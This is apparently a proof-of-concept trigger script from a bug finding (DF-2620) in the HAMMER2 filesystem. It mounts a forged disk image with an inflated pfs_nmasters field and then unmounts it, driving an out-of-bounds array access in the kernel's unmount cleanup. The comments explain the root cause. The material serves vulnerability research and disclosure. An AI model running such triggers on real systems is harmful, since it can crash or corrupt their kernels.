DF-2620 / trigger_A.sh
#!/bin/sh # DF-2620 variant A trigger (v2): forged pfs_nmasters=0xFF on PFS "testvol". # mount then umount IMMEDIATELY -- no other operation may touch /mnt/h2 # (VFS_ROOT on the mount hangs in hammer2_vfs_root because the inflated # pfs_nmasters breaks the quorum check; that hang is a related side effect # of the same unclamped field, not the finding under test). # # umount -> hammer2_vfs_unmount -> hammer2_xop_helper_cleanup: # for (i = 0; i < pmp->pfs_nmasters(255); ++i) # for (j = 0; j < 36; ++j) # thrs = &xop_groups[j].thrs[i]; # array is thrs[8] per group! vnconfig -u vn0 2>/dev/null || true vnconfig -c vn0 /root/poc/df2620/A.img mkdir -p /mnt/h2 mount -t hammer2 -o ro /dev/vn0@testvol /mnt/h2 echo MOUNT_RC=$? echo "--- umount (trigger) ---" umount /mnt/h2 echo UMOUNT_RC=$? vnconfig -u vn0 echo TRIGGER_A2_DONE |